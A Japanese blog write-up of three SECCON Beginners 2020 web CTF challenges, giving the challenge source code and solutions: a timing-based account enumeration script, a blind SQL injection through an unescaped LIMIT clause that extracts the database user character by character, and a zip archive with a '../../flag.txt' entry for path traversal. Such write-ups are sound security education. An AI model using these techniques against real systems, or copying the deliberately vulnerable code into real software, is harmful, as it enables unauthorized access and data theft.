SECCON beginners 2020 Writeup(Web)
はじめに
SECCON beginners 2020に個人で参加。
時間内に解けなかった問題も他の方のwriteupを参考にして、 自分の言葉でwriteupを書いていくことにする。
今回はWebジャンル。Spy、Tweetstore、unzipの3問を記載。
Miscジャンルの記事は以下。 paichan-it.hatenablog.com
Cryptoジャンル(R&Bのみ)は以下。 paichan-it.hatenablog.com
[Web] Spy(Beginner)
問題
As a spy, you are spying on the "ctf4b company". You got the name-list of employees and the URL to the in-house web tool used by some of them. Your task is to enumerate the employees who use this tool in order to make it available for social engineering.
employees.txtとapp.pyが添付されている。
import os import time from flask import Flask, render_template, request, session # Database and Authentication libraries (you can't see this :p). import db import auth # ==================== app = Flask(__name__) app.SALT = os.getenv("CTF4B_SALT") app.FLAG = os.getenv("CTF4B_FLAG") app.SECRET_KEY = os.getenv("CTF4B_SECRET_KEY") db.init() employees = db.get_all_employees() # ==================== @app.route("/", methods=["GET", "POST"]) def index(): t = time.perf_counter() if request.method == "GET": return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t)) if request.method == "POST": name = request.form["name"] password = request.form["password"] exists, account = db.get_account(name) if not exists: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times. # You know, it's really secure... isn't it? :-) hashed_password = auth.calc_password_hash(app.SALT, password) if hashed_password != account.password: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) session["name"] = name return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t)) # ==================== @app.route("/challenge", methods=["GET", "POST"]) def challenge(): t = time.perf_counter() if request.method == "GET": return render_template("challenge.html", employees=employees, sec="{:.7f}".format(time.perf_counter()-t)) if request.method == "POST": answer = request.form.getlist("answer") # If you can enumerate all accounts, I'll give you FLAG! if set(answer) == set(account.name for account in db.get_all_accounts()): message = app.FLAG else: message = "Wrong!!" return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t)) # ==================== if __name__ == '__main__': db.init() app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))
employees.txtに記載のあるユーザのうち、存在するユーザを選択すればフラグがゲットできるようだ。
解法
app.py
を確認。ログイン試行するユーザが存在している場合にはauth.calc_password_hash(app.SALT, password)
で複数回のストレッチングが行われるため、レスポンスが遅くなる模様。
ユーザが存在しない場合には、一瞬でレスポンスが返ってくる。これらは、ブラウザにも表示されるため容易に確認することができる。
Arthurでログイン試行した場合
Elbertでログイン試行した場合
26回手動でログイン試行すればよいので時間はかからないが、競技終了後あえてスクリプトを書いてみた。
import requests import bs4 import re with open("employees.txt", "r") as f: employees = f.readlines() URL = "https://spy.quals.beginners.seccon.jp/" for i in employees: DATA = {"name":i.rstrip(), "password":123} rpost = requests.post(url=URL, data=DATA) soup = bs4.BeautifulSoup(rpost.text, "html.parser") timeData = soup.find("p").get_text() extractData = "".join(re.findall("[0-9]{1,}.[0-9]{1,}", timeData)) print(i.rstrip() + " : " + extractData)
実行結果は以下。
Arthur : 0.0003507 Barbara : 0.0003492 Christine : 0.0003667 David : 0.0003282 Elbert : 0.5867867 Franklin : 0.0003587 George : 0.5761458 Harris : 0.0003731 Ivan : 0.0003675 Jane : 0.0003095 Kevin : 0.0003963 Lazarus : 0.5207610 Marc : 0.6260417 Nathan : 0.0003987 Oliver : 0.0004116 Paul : 0.0004193 Quentin : 0.0003628 Randolph : 0.0003301 Scott : 0.0003395 Tony : 0.6102204 Ulysses : 0.0003216 Vincent : 0.0003582 Wat : 0.0002925 Ximena : 0.3995440 Yvonne : 0.6283144 Zalmon : 0.0003918
この中で、他と比べてレスポンス時間が長いのは、「Elbert」、「George 」、「Lazarus 」、「Marc 」 、「Tony 」、「Ximena 」、「Yvonne 」である。
これらのユーザをチェックボックスで選択しAnswerをクリックしたら、フラグが表示された。
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}
[Web] Tweetstore(Easy)
問題
Search your flag! Server: https://tweetstore.quals.beginners.seccon.jp/
添付されているzipからはwebserver.go
が解凍された。
package main import ( "context" "fmt" "log" "os" "strings" "time" "database/sql" "html/template" "net/http" "github.com/gorilla/handlers" "github.com/gorilla/mux" _"github.com/lib/pq" ) var tmplPath = "./templates/" var db *sql.DB type Tweets struct { Url string Text string Tweeted_at time.Time } func handler_index(w http.ResponseWriter, r *http.Request) { tmpl, err := template.ParseFiles(tmplPath + "index.html") if err != nil { log.Fatal(err) } var sql = "select url, text, tweeted_at from tweets" search, ok := r.URL.Query()["search"] if ok { sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'" } sql += " order by tweeted_at desc" limit, ok := r.URL.Query()["limit"] if ok && (limit[0] != "") { sql += " limit " + strings.Split(limit[0], ";")[0] } var data []Tweets ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) defer cancel() rows, err := db.QueryContext(ctx, sql) if err != nil{ http.Error(w, http.StatusText(500), 500) return } for rows.Next() { var text string var url string var tweeted_at time.Time err := rows.Scan(&url, &text, &tweeted_at) if err != nil { http.Error(w, http.StatusText(500), 500) return } data = append(data, Tweets{url, text, tweeted_at}) } tmpl.Execute(w, data) } func initialize() { var err error dbname := "ctf" dbuser := os.Getenv("FLAG") dbpass := "password" connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname) db, err = sql.Open("postgres", connInfo) if err != nil { log.Fatal(err) } } func main() { initialize() r := mux.NewRouter() r.HandleFunc("/", handler_index).Methods("GET") http.Handle("/", r) http.ListenAndServe(":8080", handlers.LoggingHandler(os.Stdout, http.DefaultServeMux)) }
上記コードより、今回はdbuserがフラグとなる。データベースはpostgreSQLのようだ。
解法
当日は解けなかったが、以下のwriteupを参考に、理解した。
SECCON Beginners CTF 2020 Writeup - こんとろーるしーこんとろーるぶい
search word(searchパラメータ)
に一致したツイートがsearch limit(limitパラメータ)
件数以下表示されるwebページ。
webserver.go
を確認してみると、以下よりlimit句の中に入るsearchパラメータはシングルクォートがエスケープされていることが分かる。
sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
一方、limitパラメータはエスケープされていないため、ここが狙い目になりそう。
sql += " limit " + strings.Split(limit[0], ";")[0]
これらより、生成されるSQL文は以下のようになる。
select url, text, tweeted_at from tweets where text like '%{search}%' order by tweeted_at desc limit {limit}
今回はdbuserがフラグであるため、postgreSQLのシステム情報関数であるcurrent_user
が使えそう。
試しに、limit句にascii(substr(current_user,1,1))
を挿入し、リクエストを送付すると、無事ステータスコード200が返ってきた。
何をやっているかというと、substr(current_user,1,1)
でデータベースに接続しているユーザ名の一文字目を取得し、その結果をasciiコード番号に変換している。
asciiコード暗号に変換することで、limit X(X:数値)
の形になり、文法的に正しくなる。
BurpのRepeaterを見るとこんな感じ。99件のツイートが取得された。99はascii文字に変換するとc
。
同様に、ascii(substr(current_user,2,1))
を挿入してリクエストすると116件のツイートが取得できた。116はascii文字に直すとt
、ascii(substr(current_user,3,1))
では102件=f
。
表示されたツイート数がdbuserになりそう。以下のようなスクリプトを書いた。
import requests URL = "https://tweetstore.quals.beginners.seccon.jp/" flag = "" for i in range(40): rget = requests.get( url = URL, params = { "search":"", "limit":"ascii(substr(current_user,{},1))".format(i+1) } ) res = rget.text.count("Watch@Twitter") flag += chr(res) print(flag)
実行すると、フラグが表示される。
ctf4b{is_postgres_your_friend?}
[Web] unzip(Easy)
問題
Unzip Your .zip Archive Like a Pro.
PHPのコードと、docker-compose.ymlが渡される。
index.php
<?php error_reporting(0); session_start(); // prepare the session $user_dir = "/uploads/" . session_id(); if (!file_exists($user_dir)) mkdir($user_dir); if (!isset($_SESSION["files"])) $_SESSION["files"] = array(); // return file if filename parameter is passed if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) { if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) { $filepath = $user_dir . "/" . $_GET["filename"]; header("Content-Type: text/plain"); echo file_get_contents($filepath); die(); } else { echo "no such file"; die(); } } // process uploaded files $target_file = $target_dir . basename($_FILES["file"]["name"]); if (isset($_FILES["file"])) { // size check of uploaded file if ($_FILES["file"]["size"] > 1000) { echo "the size of uploaded file exceeds 1000 bytes."; die(); } // try to open uploaded file as zip $zip = new ZipArchive; if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) { echo "failed to open your zip."; die(); } // check the size of unzipped files $extracted_zip_size = 0; for ($i = 0; $i < $zip->numFiles; $i++) $extracted_zip_size += $zip->statIndex($i)["size"]; if ($extracted_zip_size > 1000) { echo "the total size of extracted files exceeds 1000 bytes."; die(); } // extract $zip->extractTo($user_dir); // add files to $_SESSION["files"] for ($i = 0; $i < $zip->numFiles; $i++) { $s = $zip->statIndex($i); if (!in_array($s["name"], $_SESSION["files"], TRUE)) { $_SESSION["files"][] = $s["name"]; } } $zip->close(); } ?> <!DOCTYPE html> <html> <head> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css"> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title></title> </head> <body> <nav role="navigation"> <div class="nav-wrapper container"> <a id="logo-container" href="/" class="brand-logo">Unzip</a> </div> </nav> <div class="container"> <br><br> <h1 class="header center teal-text text-lighten-2">Unzip</h1> <div class="row center"> <h5 class="header col s12 light"> Unzip Your .zip Archive Like a Pro </h5> </div> </div> </div> <div class="container"> <div class="section"> <h2>Upload</h2> <form method="post" enctype="multipart/form-data"> <div class="file-field input-field"> <div class="btn"> <span>Select .zip to Upload</span> <input type="file" name="file"> </div> <div class="file-path-wrapper"> <input class="file-path validate" type="text"> </div> </div> <button class="btn waves-effect waves-light"> Submit <i class="material-icons right">send</i> </button> </form> </div> </div> <div class="container"> <div class="section"> <h2>Files from Your Archive(s)</h2> <div class="collection"> <?php foreach ($_SESSION["files"] as $filename) { ?> <a href="/?filename=<?= urlencode($filename) ?>" class="collection-item"><?= htmlspecialchars($filename, ENT_QUOTES, "UTF-8") ?></a> <? } ?> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script> </body> </html>
docker-compose.yml
version: "3" services: nginx: build: ./docker/nginx ports: - "127.0.0.1:$APP_PORT:80" depends_on: - php-fpm volumes: - ./storage/logs/nginx:/var/log/nginx - ./public:/var/www/web environment: TZ: "Asia/Tokyo" restart: always php-fpm: build: ./docker/php-fpm env_file: .env working_dir: /var/www/web environment: TZ: "Asia/Tokyo" volumes: - ./public:/var/www/web - ./uploads:/uploads - ./flag.txt:/flag.txt restart: always
docker-compose.ymlを確認すると、この問題は、nginxコンテナとphp-fpmコンテナの2つで構成されており、./flag.txtがマウントされていることが分かる。
このflag.txtを読み出すことが目標だ。
解説
aaa.zipをアップロードしてみる。すると、aaa.zip内に含まれているファイル名(aaa.txt)が表示される。
ファイル名をクリックすると、そのファイルの中身を参照することができるサービス。
index.php
の以下の部分を見ると、アップロードしたファイルは/uploads/{session_id}/filename
に配置されるようだ。
$user_dir = "/uploads/" . session_id(); (snip) if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) { if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) { $filepath = $user_dir . "/" . $_GET["filename"]; header("Content-Type: text/plain"); echo file_get_contents($filepath); die(); } else { echo "no such file"; die(); } }
docker-compose.yml
から、フラグのパスは分かっている(/flag.txt)。つまり、filename
が../../flag.txt
となればフラグがゲットできそう。しかし、windowsでは、ファイル名に/
という文字を含むことができないため、工夫する必要がある。以下の様にしてzipファイルを作成した。
..A..Aflag.txt
という名前のファイルを作成。- zip圧縮する。
3.バイナリエディタで
A
を/
に書き換える。 4.保存
こうして出来上がったzipファイルをアップロードすると、ファイル名に../../flag.txt
が!
ここにアクセスしてフラグゲット。
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}